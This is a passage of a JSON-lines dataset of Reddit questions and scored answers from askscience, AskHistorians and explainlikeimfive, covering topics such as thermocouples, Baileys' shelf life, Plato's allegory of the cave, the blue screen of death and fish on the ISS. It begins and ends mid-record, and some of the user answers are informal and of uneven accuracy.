["http://beckerexhibits.wustl.edu/dental/articles/babytooth.html"], [], [], ["https://www.ebay.com/itm/American-Ground-Zero-The-Secret-Nuclear-War-ExLib-by-Carole-Gallagher/142887693627"], [], ["https://www.nytimes.com/2000/03/21/science/concerns-arise-over-aquifer-near-nuclear-test-site.html", "https://agupubs.onlinelibrary.wiley.com/doi/pdf/10.1029/JZ064i010p01509"]]}
{"q_id": "9t0fog", "title": "What is the fundamental explanation of the Seebeck effect?", "selftext": "What are the ranges of output power in a thermocouple, and by conservation of energy, does it mean the thermocouple transforms thermal energy into electric? If so, it (probably negligible, but still) cools the thermal source ?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9t0fog/what_is_the_fundamental_explanation_of_the/", "answers": {"a_id": ["e8tfpvx", "e8tgz44"], "score": [2, 2], "text": [" >  What are the ranges of output power in a thermocouple\n\nI've used a thermocouple once in my life, so the numbers may be slightly off, but probably by no more than a couple of orders of magnitude.\n\nTypical voltages are on the order of a millivolt. If you use a regular multimeter to measure this voltage (you shouldn't, they can't resolve a millivolt), it uses an internal resistance of typically 10 megaohm. So 1 mV^2 / 10 MOhm = (10^-3 V)^2 / 10^7 Ohm = 10^-13 Watts.\n\n >  and by conservation of energy, does it mean the thermocouple transforms thermal energy into electric?\n\nYes, correct.\n\n >  If so, it (probably negligible, but still) cools the thermal source ?\n\nAlso correct.", "Heat flows by any means available.\n\nIf charge carriers are more mobile in one medium than another, heat flow down a pair of electrically-connected conductors will induce a net charge flow out of one material and into the other, until it builds up enough of a voltage to cause a countervailing electric current. This occurs because carriers are an easier way for heat to flow in one of these materials, than in the other.\n\nTaken to an extreme, if heat flows as electron holes in one material, and as electrons in another, heat applied at this PN junction will induce carriers to (on net) flow away from it, inducing current in the same direction as it flows through both."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3rymk2", "title": "Are there any documented relationships between extremism (or more specifically convicted 'terrorists') and general or specific mental disorders?", "selftext": "Psychosis (general)\n\nSchizophrenia (specific)\n\nStudies do not just have to address the notion/s of psychosis or schizophrenia specifically. Also extremism can apply to any individuals who are devout members of a group; whose collective views are generally perceived as extreme. \n\nThanks! :)", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3rymk2/are_there_any_documented_relationships_between/", "answers": {"a_id": ["cxoiqj0"], "score": [2], "text": ["This first part doesn't directly answer your question, but I have to say there is no positive relationship between schizophrenia and violence. Schizophrenia (and psychosis, though it is kind of a junk drawer diagnosis) is specifically characterized by two sets of symptoms, the more distinguishing being positive symptoms (delusions) and negative symptoms (blunted affect). Elevated aggression has nothing to do with it, and schizophrenics are actually highly more likely to be the victims of violence than the perpetrators. In schizophrenia, the ability to plan and follow through can be often significantly impaired, and this includes violent action. Furthermore, committing violence is far more an issue of personality than it is of mental illness, as it is directly related to aggression as a characteristic of personality (though environmental stress does come into play). I'm talking Axis I disorders here, of course. Chances are, if you sat around in your apartment alone all day, when you have a psychotic break you'll continue to do so, you aren't going to run out into the streets with a machete. Psychosis isn't PCP.\n\nTo your actual question, the answer is we are going to see very similar personality types in terrorists as we would violent offenders here in the western world. Lots of data on prison populations. And what you see there is what you would expect- lots of Axis II disorders, dysfunctional personalities. (As opposed to what we normally view as mental illness, depression, bipolar, etc.). Lots of Antisocial PD, lots of schizoid, avoidant tendencies, mania. People who get caught up in violence and gangs and violent ideology are the same types that gravitate towards these terrorist groups. They often are impulsive, possessing low empathy, perhaps with low self esteem and the need to latch onto powerful figures or ideas. It's good to try and understand these psychological profiles of these individuals, but it might not do a whole lot of good to try and link mental illness with violence or extremism. It's far more to do with environment and opportunities. Even the sociopath can grow up to be successful and relatively harmless to the individuals around them, provided they have most of their needs met by society like everybody else. You don't have food on the table, you'll be willing to do a lot of things."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1beh1n", "title": "How did Kevin Ware's injury occur?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1beh1n/how_did_kevin_wares_injury_occur/", "answers": {"a_id": ["c967yb9", "c9684yu", "c9692f3"], "score": [43, 16, 8], "text": ["tl;dr: bones cannot withstand torque\nlegs can withstand a VERY large force directed along their length (which is why they don't break when you run). what they cannot withstand is just about any torque. if you were to take a bone and club something solid with it, the bone would almost certainly break. when Ware landed, he was moving sideways. since he was moving pretty fast, it would take a lot of force to stop him in such a short amount of time. unfortunately, his shoes and muscles were able to withstand this force, but his shin (both fibula and tibia, it seemed) could not. so it broke.", "Of course, anything regarding a specific injury is only speculation. It's impossible for anyone aside from his doctor to say anything for certain.\n\nFirst, it's rather uncommon to break a leg during a jump like this. It's more common to tear the acl ligament. I'd think he might have had a stress fracture in his tibia beforehand. This would weaken the bone and make it more likely to break during a jump like this.\n\nThis is just speculation.", "[Commentary](_URL_0_) from an orthopedic surgeon on the injury. Not the most scientific of sites, but the man is a medical professional. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.cardchronicle.com/2013/4/1/4169404/dr-robert-klapper-on-kevin-wares-injury"]]}
{"q_id": "1jpt97", "title": "What was the first international business?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1jpt97/what_was_the_first_international_business/", "answers": {"a_id": ["cbh3702", "cbh6gv5"], "score": [2, 2], "text": ["According to my [sources](_URL_1_), early global businesses were usually state chartered and revolved around trading.\n\n[According to Britannica, it was the British East India Company](_URL_0_) in 1600. [Shortly thereafter in 1602, the Dutch East India Company was formed.](_URL_1_)", "\"International business\" is a bit vague. Are you talking simple trade between international borders or or large scale historical predecessors to modern multinational corporations like the British East India Co.?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.britannica.com/EBchecked/topic/176643/East-India-Company", "http://www.inc.com/encyclopedia/global-business.html"], []]}
{"q_id": "c6x37z", "title": "what is the difference between a zw sex-determination system and a xy-sex-determination system?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c6x37z/eli5what_is_the_difference_between_a_zw/", "answers": {"a_id": ["esbra37"], "score": [16], "text": ["In XY, all female eggs have an X while the male sperm has an X or a Y. So sex is determined by the male sperm. \n\nIn ZW, all males are ZZ, while the female egg can be either a Z or a W. So sex us determined by the female ovum. \n\nThe X and Y look sort of like those letters on karyotypes (images of the chromosomes). \n\nThe X is much bigger than the Y. The Z is much bigger than the W. \n\nSo the Z is like the X, but the ZZ is male and the XX is female. The Y or W is the \"newer\" chromosome and is smaller.\n\nedit: the Y is definitely \"newer\" in terms of evolution. I am not so certain with the ZW if it as clear."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1v6xlw", "title": "how does baileys have such a long shelf life when it's mainly made of cream ??", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1v6xlw/eli5_how_does_baileys_have_such_a_long_shelf_life/", "answers": {"a_id": ["cepa29g", "cepgpop", "ceph2s6", "cepj7b0", "cepke0r", "ceplcsr", "cepv9jt"], "score": [168, 23, 8, 5, 2, 2, 5], "text": ["Alcohol! Among other things, alcohol is an excellent disinfectant so nothing can grow in there to spoil the cream.\n\nIf you leave Bailey's alone long enough, it will eventually curdle/clump, which isn't exactly spoiled but is still disgusting.", "There's 2 parts to this question really:\n\nFirstly, \"How does Bailey's not go off when it's mainly made of cream?\"\n\nThis answer is, of course, the same as for any other alcoholic beverage - Alcohol is a disinfectant (that is, really good good at killing germs ^^apart ^^from ^^some ^^but ^^we're ^^ignoring ^^them ), and combined with the bottling process, which fills the remaining space with nitrogen to create a sterile environment, this means that the very few microbes are in there when it's bottled will soon be dead.\n\nThe second question is \"How does Baileys not curdle when it's mainly made of cream?\"\n\nThis is a more complicated answer, but depends on [homogenisation](_URL_0_), which is a sciency term for mixing. The whisky, cream, and a couple of other ingredients called emulsifiers (which in this case includes refined vegetable oil, herbs, and sugar) and thoroughly mixed together so as to make them inseperable. Thanks to various chemical bonds (which would take far too much space to properly explain so I'm not gonna bother - in short, emulsifiers bond to both parts of the mixture) the emulsifiers stop the alcohol and cream from separating, allow it to stay bottled up for quite a while. Much longer than if you made Irish Cream at home, anyway.", "The truth is, does bailey's even use real cream? I asked, and its mostly refined (partially hydrogenated) soybean oil, the tranfat found in non dairy coffee creamers. Caramel coloring added to make it look milky", "Actually, it's more likely its high sugar content. The level of alcohol in Bailey's is not sufficient to be a disinfectant (generally 50-70% is the accepted level for that), but environments highly rich in sugar are anti-microbial. Hence why sugar doesn't go bad even though it's ostensibly a big pile of bacteria food.", "I don't know the answer to your question, but I once found a bottle that was 4 years past expiration. Tried to pour it out and after a little shaking whatever was inside made a loud thud from shifting from one side to the other. It was completely solid, no liquid came out. ", "BOOZE! Alcohol doesn't go bad, plus ethyl alcohol has a tendency to break down dairy. So while it's made of cream, and has a consistency of cream, etc. it's not really cream. ", "But why would you leave Bailey's on shelf for so long. Whats the matter with you!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Homogenization_%28chemistry%29"], [], [], [], [], []]}
{"q_id": "3k2862", "title": "why do americans say \"math\" and \"sports\" while people from the uk and australia say \"maths\" and \"sport\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3k2862/eli5_why_do_americans_say_math_and_sports_while/", "answers": {"a_id": ["cuu7b0s", "cuu7bgw", "cuu7z5q", "cuua8h8", "cuue2lx", "cuufndn", "cuuxlen", "cuuym07"], "score": [175, 11, 22, 69, 33, 12, 2, 2], "text": ["I know that people from UK say maths because it's an abbreviation for mathematics. That's all I got, hope it helps. ", "It is just a regional thing. People in Australia tend to be more likely to say \"maths\" while people in America will say \"math\". Neither is wrong, its just a subtle variation in the versions of English spoken in each country. ", "Why in the UK does the verb 'to table' mean 'to place on the agenda' whereas in North America it means \"to decide not to discuss something'?", "Truncated plural nouns often take on the plural suffix.  Some examples:\n\n* Carbohydrates: Don't eat too many *carbs*.\n* Perpetrators:  The police are looking for three *perps*.\n* Magazines: Whilst waiting for the dentist, Jim flicked through some *mags*.\n\nMaths is a truncated plural noun.  Now some people will object because some of the grammar used with maths suggests it is singular.  \n\nThere is a video on YouTube of an American linguist arguing that because the noun is treated as singular it therefore must be singular.  This is not true, and it's unfortunate that an academic would spread this type of misinformation.  \n\nIronically, she is happy to rely on the Oxford English Dictionary at one point of her talk but later ignores the very same dictionary's [definition](_URL_0_).  As you can see, it is a plural noun [treated as singular].\n\nSome plural nouns are treated as singular, in all or in certain meanings. These include the names of branches of knowledge or science, such as acoustics, physics and mathematics, activities such as billiards and gymnastics, and diseases such as measles.\n\nPerhaps the most common example of a plural noun treated as singular is *data*.  The singular for data is datum, but this is rarely used in common parlance.  Unless we are writing in a scientific journal we don't make data agree with the plural.  Instead we say, raw data *is* used to produce meaningful information.\n\nOn a side note: I'd be interested to know whether American students taking Statistics refer to it as Stat or Stats.\n\nEDIT: the majority of Americans, according to my straw poll, call Statistics 'Stats' not 'Stat' as one would expect if they were being consistant with the 'Math' thing.", "Why do Americans say \"Legos\" while people from the UK say \"Lego\"?", "Aussie here and I use both interchangeably..\nIe. I have a math problem I pronounce it without the s. But I'd also say, you need to learn basic maths...\n\nI wouldn't say, I have a maths problem.. to me that sounds weird. \nBut what do I know. . I'm just a guy that despised the word talked..", "As i understand it, in America; trigonometry, geometry, algebra, calculus and math are all separate subjects at school. Meanwhile in the U.K. all of those subjects are covered in maths lessons hence pluralisation.\n\nnot sure about sport and sports I presume it's a grammar thing ", "There are plenty of explanations mentioned so far; basically what it comes down to is whether you think of mathematics as a collection of mathematical processes or as a study of mathematical processes. The term was originally derived in Greek as a noun for the collection of mathematical processes, but it is ambiguous because the term could also mean \"study of\". The contraction 'math' is correct if you define mathematics as field of study; 'maths' is correct only if you are referring to a collection mathematical processes. \n\nIf people want to argue that math or maths is correct, they would also have to argue that what are referring to is the \"study of\" or \"collection of\" mathematical processes, respectively.\n\nIn regards to sport, the same argument could be applied. However, I would have to side with the US version because 'sport' doesn't have comparable etymological origins as mathematics. Sports is purely the plural of sport, it does not imply the study of sports.\n\nedit: added sports."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://www.oxforddictionaries.com/definition/english/maths"], [], [], [], []]}
{"q_id": "ba03j5", "title": "What type of iron oxide forms on the surface of steel parts during tempering?", "selftext": "When steel is tempered, depending on the temperature and atmosphere, the parts will form a different color ranging from light brown to  lue to black. Is this Fe2O3 or Fe3O4 (magnetite).\n\nWhat range of temperatures is Fe3O4 formed on iron/steel?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ba03j5/what_type_of_iron_oxide_forms_on_the_surface_of/", "answers": {"a_id": ["ek8mg28"], "score": [2], "text": ["From my brief and inglorious experience making ferrofluids, Fe2O3 is the light brown and Fe3O4 is the black. I don't know how stable these are, but laser ablation ICP-MS doesn't require sample prep and is performed in air, so that would be my best bet on getting a definitive answer.\n\nIt's incredibly complicated to predict in tempering process because not only do you have multiple constituents depending on your alloy according to the phase diagram (e.g. [_URL_2_](_URL_2_)), and oxygen/humidity/impurities will locally alter the surface potential and pH according to the Pourbaix diagram (e.g. [_URL_3_](_URL_1_)), which is of course temperature and alloy dependent (of considerable note is the fine-print \"Thermodynamic conditions of corrosion for alloys and for non-standard conditions differ from those described by Pourbaix diagrams\"). \n\nFor pure iron we do know the equilibria (e.g. [_URL_0_](_URL_0_)) and could factor in temperature dependence to generate a Pourbaix diagram for any temperature, then you could see how the pH/pE window alters.\n\nHowever, especially when it comes to alloys, as a materials chemist I'd leave it as \"it's complicated\" take the experimental approach."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://corrosion-doctors.org/Corrosion-Thermodynamics/Potential-pH-diagram-iron.htm", "http://www.substech.com/dokuwiki/doku.php?id=pourbaix_diagrams", "http://www.calphad.com/iron-carbon.html", "http://www.substech.com/dokuwiki/doku.php?id=pourbaix\\_diagrams"]]}
{"q_id": "717s0j", "title": "When did Plato's allegory of the cave become so popular?", "selftext": "Has it always been a frequent subject of discussion by philosophers/artists ever since Plato's time? Was it always given as much importance as it is now?\n\nIf not, who 'rediscovered' it and brought it back into public attention; when, and why?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/717s0j/when_did_platos_allegory_of_the_cave_become_so/", "answers": {"a_id": ["dn950i7"], "score": [304], "text": ["So, as a preamble, in Plato's *Republic*, he has Socrates say: \n\n >  Imagine this: People live under the earth in a cave-like dwelling. Stretching a long way\nup toward the daylight is its entrance, toward which the entire cave is gathered. The people have been in\nthis dwelling since childhood, shackled by the legs and neck. Thus they stay in the same place so that there\nis only one thing for them to look that: whatever they encounter in front of their faces. But because they are\nshackled, they are unable to turn their heads around.\n\n >   Some light, of course, is allowed them, namely from a fire that casts its glow toward them from behind them, being above and at some distance. Between the fire and those who are shackled there runs a walkway at a certain height. Imagine that a low wall has been built the length of the walkway, like the low curtain that puppeteers put up, over which they show their puppets.\n\n >  ...from the beginning people like this have never managed, whether on their own or with the help by others, to see anything besides the shadows that are projected on the wall opposite them by the glow of the fire.\n\n >  Whenever any of them was unchained and was forced to stand up suddenly, to turn around, to walk, and to look up toward the light, in each case the person would be able to do this only with pain and because of the flickering brightness would be unable to look at those things whose shadows he previously saw. \n\nThis is the Allegory of the Cave (AotC): the shadows on the walls are reality as it appears to us, and the light is the world of thought, which Plato sees as more real than reality.\n\nSo, did the AotC get forgotten about after the classical Greek period? It depends.\n\nFirstly, Plato's influence is all over medieval Europe. St. Augustine, perhaps the most influential Christian philosopher in the Medieval era, was deeply influenced by what are now called Neoplatonist ideas (Neoplatonists at the time simply called themselves Platonists, after Plato, but their thought was more complex than simply following Plato). And because the Medieval era is profoundly Christian, this means that Neoplatonism was very influential. \n\nThe foundation of Neoplatonist thought was that, to [quote the SEP](_URL_0_):\n\n > mindful consciousness (nous, often translated as thought, intelligence, or intellect) is in an important sense ontologically prior to the physical realm typically taken for ultimate reality (Mind over Matter).\n\nIn other words, the light outside is more real than what's in the cave.\n\nHowever, Plato's influence on the medieval period, while enormous, was indirect. The majority of his works, including *The Republic* (the text the allegory is in), were unavailable in the Latin-speaking/writing world in the Medieval period. Instead, his works only became available to Western Europe when they were translated from Greek (by Marsilio Ficino) after the fall of Constantinople in 1453 - stuff like *The Republic* becoming available in the West pretty much marks the boundary between the late Medieval period and the Renaissance.\n\nThe Neoplatonist works that did circulate in the Medieval period are clearly influenced by Plato's conceptions of reality, and for all the world sound like they're written by people who understand what the allegory's about. However, as far as I can tell, surviving Neoplatonist(-influenced) works in the Medieval era don't specifically mention that particular allegory. (As an aside, the Islamic Golden Age philosopher Ibn Rushd/Averroes wrote a commentary on Plato's *The Republic* which faithfully summarises the Allegory, but Ibn Rushd's commentary on the AotC was not available in the West until the 16th century, after the original had been translated into Hebrew and then Latin.)\n\nHowever, by the 20th century, the Allegory of the Cave is very-well known in the West. Bertrand Russell's 1945 *History Of Western Philosophy* refers to the AotC as 'famous', even. Amusingly, in researching this, I found a paper by John Henry Wright from 1906 in *Harvard Studies In Classical Philology* devoted to trying to figure out which particular Greek cave Plato is discussing (and Wright very clearly assumes that everyone knows what Plato's cave is all about). So at what point in between Ficino and Bertrand Russell did the Allegory become famous?\n\nThe answer almost certainly has to do with Rene Descartes. There's a view present in Bertrand Russell's history book, for example, that modern philosophy began with Descartes; it's a very commonplace argument that Descartes' 'Way Of Ideas' set up the framework of the questions about reality that subsequent Western philosophers reacted against, from Locke to Hume to Kant (and I should point out that 'I think therefore I am' - an encapsulation of the Way Of Ideas - is probably even more famous than the Cave).\n\nDescartes was also heavily indebted to Plato. Stephen Buckle argues that Descartes' 1641 *Meditations On First Philosophy* are in fact 'a rewriting of the Platonic allegory of the cave for modern times'. Descartes' influence and his debt to Plato therefore creates room for the Allegory of the Cave to not only simply be a part of philosophical history, but also for the Allegory to be told as a way of explaining Plato's influence on the modern Western philosophy tradition that's indebted to Descartes.\n\nDescartes' debt to Plato was certainly noted by philosophers contemporaneous to Descartes; Buckle quotes Thomas Hobbes as saying \"I am sorry that so excellent an author of new speculations should publish this old stuff\" [i.e., stuff that rips off Plato], and Descartes replying to Hobbes that he is a 'petty-minded critic' and that he \"wanted to prepare readers' minds for the study of the things which are related to the intellect, and help them to distinguish these things from corporeal things\".\n\nThe earliest reference to the AotC in English that I can find is in Thomas Stanley's 1656 *The History Of Philosophy, In Eight Parts* where Stanley discusses how:\n\n > Foolish men are like those who lead all their life in some Cave underground, where they never saw the light of the Sun, but only some empty thin shadows of such bodies as are with us uopn the Earth, which seeing, they think they see true bodies. As these, if ever they should be brought out of darknesse into the clear light, would questionlesse despise all things which they saw before, and themselves much more, as having been absolutely deceived; so they who rise up out of the darknesse of this life to those things which are divine and fair, in all likelyhood will contemn what before they most esteemed, and love more vehemently this contemplation.\n\nSo between Stanley in 1656, and Hobbes' roughly contemporaneous reply to Descartes, the Allegory Of The Cave was certainly known about in English circles (though *The Republic* wasn't translated into English until the mid-18th century; educated men of the time read Latin). However, it doesn't seem to have been especially prominent in writing about Plato. I can't specifically prove it, but I suspect that Johann Jakob Brucker's influential *Critical History of Philosophy*, completed in 1744, likely played a role in specifically drawing attention to the Allegory of The Cave within Plato. Brucker says (translated by Enfield) that:\n\n >  His conceptions on [Ideas as the only permanent substances] are beautifully expressed in a passage of his *Republic* in which he compares the state of the human mind with respect to the material and the intellectual world, to that of a man, who, in a cave into no light can enter but by a single passage, views, upon a wall opposite to the entrance, the shadows of external objects, and mistakes them for realities. So strongly was the imagination of Plato impressed with this conception, that, in the election of magistrates for his republic, he required that no one should be chosen, who had not, by the habitual contemplation of the world of Ideas, attained a perfect power of abstraction.\n\nBrucker's history of philosophy was influential on Denis Diderot, one of the key figures of the Enlightenment, and one of the authors of the 1751 *Encyclopedie*; Diderot's articles on philosophers in the *Encyclopedie* often depend on Brucker. Outside of the *Encyclopedie*, there's a section of Diderot's *Salons*, for instance, where Diderot describes a dream of being in 'the cave of the philosopher'. Given the prominence of Diderot and the *Encyclopedie* (and given the Enlightment's debt to Descartes), I'd guess that was ground zero for the AotC becoming so popular. At least, the mid-18th century seems to be the point at which terms like 'Plato's Cave' start ticking up on Google nGrams.\n\nAnd ultimately it's stayed popular because it serves several purposes for the average Philosophy 101 class. It encapsulates the part of Plato preserved in Neoplatonism, and it links ancient to modern philosophy via Descartes. It's vivid! And most importantly, it makes a pretty good intro to what philosophy is fundamentally about: that understanding can be found by examining ideas, instead of just assuming that our perception of the world we grew up with is the way things must be.\n\nSources:\n\n* 'Descartes, Plato and the Cave' by Stephen Buckle (2007) in *Philosophy*.\n\n* *Inner Grace: Augustine In The Traditions Of Plato And Paul* by Philip Cary\n\n* 'The Origins Of Plato's Cave' by John Henry Wright (1906) in *Harvard Studies in Classical Philology*\n\n* *A History Of Western Philosophy: And Its Connection With Political And Social Circumstances From The Earliest Times To The Present Day* by Bertrand Russell.\n\n* 'Shadows On The Wall Of Reason: Diderot Before Fragonard' by David Ferris (in Brodsky  &  LaBrada edited book *Inventing Agency: Essays On The Literary And Philosophical Production Of The Modern Subject*).\n\n* 'History Of The History Of Philosophy' by H. S. Harris (1990), in *Journal Of The History Of Ideas*"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://plato.stanford.edu/entries/neoplatonism/"]]}
{"q_id": "9xai2h", "title": "why do computers have a blue screen of death?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9xai2h/eli5_why_do_computers_have_a_blue_screen_of_death/", "answers": {"a_id": ["e9qol2m", "e9qomj7", "e9qouoh", "e9qwj2b"], "score": [12, 11, 3, 2], "text": ["It\u2019s a simplified interface to explain why the computer failed. If it just shut off on you when it died, you might not know and might not ever do anything about it. The BSOD is a result of a quick diagnostic, providing an error code so you can start troubleshooting. I hope this helped! ", "The blue screen of death is simply the Microsoft Windows fatal error screen - it occurs when the operating system encounters an error it absolutely can't recover from.\n\nIn the olden days of Windows 95, the OS would easily crash over the littlest things, such as taking out a CD from the drive while it was being read. Nowadays the system is much more robust, and will only crash when a truly unrecoverable error happens, such as a hardware error the prevents the OS from accessing the RAM.", "Your operating system has a core component called \"Kernel\" that interacts with the hardware through drivers and provides basic facities to programs and libraries (such as making network connections, writing to files, drawing on the screen ...).\n\nA blue screen of death happens when the Kernel gets confused for some reason.\n\nBack in the day, this was mostly due to programming errors in the kernel or the drivers, or the programs that used these basic facilities.\n\nModern kernels are much better at handling these kinds of errors, so most of the time when you see a BSOD is when you have a hardware problem: some piece of your computer failed, and behaved so unexpectedly that your Kernel couldn't handle it.\n\n & #x200B;\n\nNote that this is not specific to windows. This also happens on Mac and Linux, and it's called a \"kernel panic\" (or \"kernel oops\" on Linux).", "I'll give a simple example. Blue Screen of Death (BSOD) occurs when something happens that the computer doesn't know how to handle. A computer is really bad at improvising. If it doesn't have clear instructions on what to do, it just 'dies'.\n\nIt can happen to people to. So say you're walking down the road in your average city and you suddenly see a bear. You also might 'freeze' because this is something really unexpected and your brain doesn't know how to handle it.\n\nA simple example for computers is handling a divide by 0. A computer knows how to divide number. 6/2=3. 10/5=2... no problem. But what if the number on the bottom is 0? What is 5/0? The computer doesn't know how to handle that. If it encounters a divide by 0, the computer panics and freezes.\n\nSo for example, suppose you have a calculator on your computer. You do math on it and you accidentally type 5/0, you could get a BSOD. Now this probably won't happen if you use Windows calculator, because they've added all kinds of instructions and checks to handle this kind of situation.  The easiest of which is error checking. If you type 5/0 into a calculator program, before telling the computer to divide, the calculator application will check to see if the bottom number is 0... and if it is, it won't do the division. Other things are things like user-mode and kernel mode, but I won't go into that.\n\n\nWindows (a popular operating system) decides to show you a blue screen with some information to help you understand why it panicked. They could have made it a red screen, or not shown anything at all.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "350645", "title": "Was Rosa Parks a plant?", "selftext": "I've read/heard that she worked as a secretary for the NAACP at the time and was planted as a way to start the Montgomery bus boycott. I've also heard that this idea was made up to cast a sinister light on the Civil Rights movement. Is there any historical agreement as to the spontaneity of Parks' protest?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/350645/was_rosa_parks_a_plant/", "answers": {"a_id": ["cqzz0xi"], "score": [4], "text": [" > Is there any historical agreement as to the spontaneity of Parks' protest?\n\nThere isn't. Not to say people really disagree or quarrel over it, but to my knowledge there hasn't been any evidence presented how exactly how much planning went into the event. \n\nNow it's definitely true that there is more to the Rosa Parks story than is usually presented. To begin with there had been news of Black women being kicked off buses and treated poorly for a few years before, and talk of a boycott had been around too. Parks was actively involved in the Civil Rights Movement before the bus incident. She was college educated, had attended the Highland Folk School, and served as a secretary in the NAACP. Its not clear whether Parks specifically rode the bus that day to get arrested, or whether she was riding the bus and saw an opportunity and took it. During that time the NAACP was actively looking for test cases to challenge Alabama's segregation ordnance. Parks also knew one of the lawyers, Clifford Durr challenging the segregation. A few women before Parks had been arrested for bus-related things. Ultimately though it wasn't Parks case that went to the Supreme Court, it was another case involving the other women who had been arrested before Parks. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "15ly3a", "title": "Since something so massive killed all of the dinosaurs all at once, did it kill all of the foliage/nature/plants? Are all the plants we have today completely new?", "selftext": "Probably a dumb question. But I've had a few.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15ly3a/since_something_so_massive_killed_all_of_the/", "answers": {"a_id": ["c7nmybl", "c7nnwgq", "c7nroo7"], "score": [10, 14, 8], "text": ["The dinosaurs and all were not all killed at once. It was an over time thing. ", "[Wikipedia](_URL_0_) claims that about 57% of terrestrial plant species became extinct during the Cretaceous-Paleogene extinction event. Note that that number is the percentage of species, not the percentage of individual organisms or the percentage of biomass.", "It didn't kill ALL the dinosaurs. The birds survived. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Cretaceous\u2013Paleogene_extinction_event"], []]}
{"q_id": "8syf6g", "title": "How would having a fish in the ISS work?", "selftext": "I was puzzling this with my friends and we ended up with a lot of questions. We had two assumptions: the fish was in a bowl, and the bowl had just regular water in it.\n\n1) Would the fish be able to get oxygen from the water? \n\n2) Would it be possible for the fish to flap its fins and create an air bubble around it? That would presumably kill it. \n\nAnd beyond all this, would the fish be able to even handle being in 0 gravity? \n\nThanks", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8syf6g/how_would_having_a_fish_in_the_iss_work/", "answers": {"a_id": ["e13d5bo", "e13deop", "e13ela2", "e13fjt8", "e13gptz", "e13ipbb", "e13k4mg", "e13l4k9", "e13lzn3", "e13me8p", "e13o0ji", "e13qaw1", "e140lqp", "e147kx5", "e148qvt", "e14p0co", "e14uww5"], "score": [4083, 945, 22, 23, 38, 307, 3, 33, 6, 41, 9, 10, 2, 2, 2, 2, 3], "text": ["Interestingly there has already been an experiment on the ISS involving fish.  The [Medaka Osteoclast](_URL_0_) experiment was created by the Japanese Space Agency, and it tested the generation of osteoclasts in medaka fish.\n\nThis was made possible due to the aquatic habitat - a facility specially designed to allow fish to live on ISS.", " >  Would the fish be able to get oxygen from the water?\n\nYes, the gas exchange process only requires a sufficient amount of water passing over a large surface area of the gills.  Gravity is not a significant part of the process (_URL_1_), although it does affect the structure of the fish and the strength of their bones. (_URL_2_)\n\n >  Would it be possible for the fish to flap its fins and create an air bubble around it? That would presumably kill it.\n\nOnly because you specified a bowl.  It would not really be an air bubble but the fish would push water away.  Without gravity to keep the water in the bowl it would be pushed out, and the empty space would be filled in by the surrounding air.  Eventually the fish would just be floating in the air flapping its fins uselessly, and the water would be floating all over the space station.\n\nSolution: sealed container.\n\n >  And beyond all this, would the fish be able to even handle being in 0 gravity?\n\nThey can live there, but they cannot navigate properly.  The fish swim in loops instead of straight lines because they do not have Earth's gravity to orient them vertically.\n\n_URL_0_", "I think there\u2019s some flawed reasoning here. The oxygen inside the bubble doesn\u2019t magically get sucked out because \u201cspace vacuums\u201d. It\u2019s just zero gravity and the water bubble itself is it\u2019s own little atmosphere for the fish. The water is oxygenated and as long as there\u2019s oxygen there for it to aerate with, it\u2019ll be sustainable for a fish. ", "If you don't secure the water in some way, the fish will likely splash off little bits of water every-time it creates more force than the surface tension can withstand, even with a glass bowl with an opening. Once the fish is out of water the fish will suffocate.\n\nIf you secure the water bubble from breaking apart and flying away.  The oxygen likely wouldn't be able to permeate the container and the fish would run out of water. You'd need to encase the water in a fabric that can allow oxygen to diffuse through but not water. \n\n interesting follow up question.. could the fish do anything to get its water bubble out of the glass bowl with it inside it? ", "Connect a fishbowl to a water aerator, and attach it to something that would spin the contraption slowly and now your only problem is trying to feed the fish without stopping it and letting fish bowl water go everywhere.", "Tangentially...\n\nIf water forms a bubble in space, couldn't we just trap a fish in a large water droplet and have it float around the ISS sans-tank?\n\nSerious question (in theory obviously, I'm sure there are other complications from a big ass water droplet floating around a billion dollar piece of delicate machinery).", "Interestingly there has already been an experiment on the ISS involving fish. The Medaka Osteoclast experiment was created by the Japanese Space Agency, and it tested the generation of osteoclasts in medaka fish.\n\nThis was made possible due to the aquatic habitat - a facility specially designed to allow fish to live on ISS.", "1) Yes.\n2) Flapping around in water doesn't create pockets of not-water. Maybe it seems that way when you spash around at the surface of water and air and you mix the two, but if you had a bubble big enough to maintain cohesion, and a fish inside, it would be okay as long as it didn't leave the bubble.\n\n\nFish depend on gravity and bouyancy to know where up and down is, so taking that away would probably be a very confusing and bizarre situation for it.", "One of my favourite science paper titles is finally 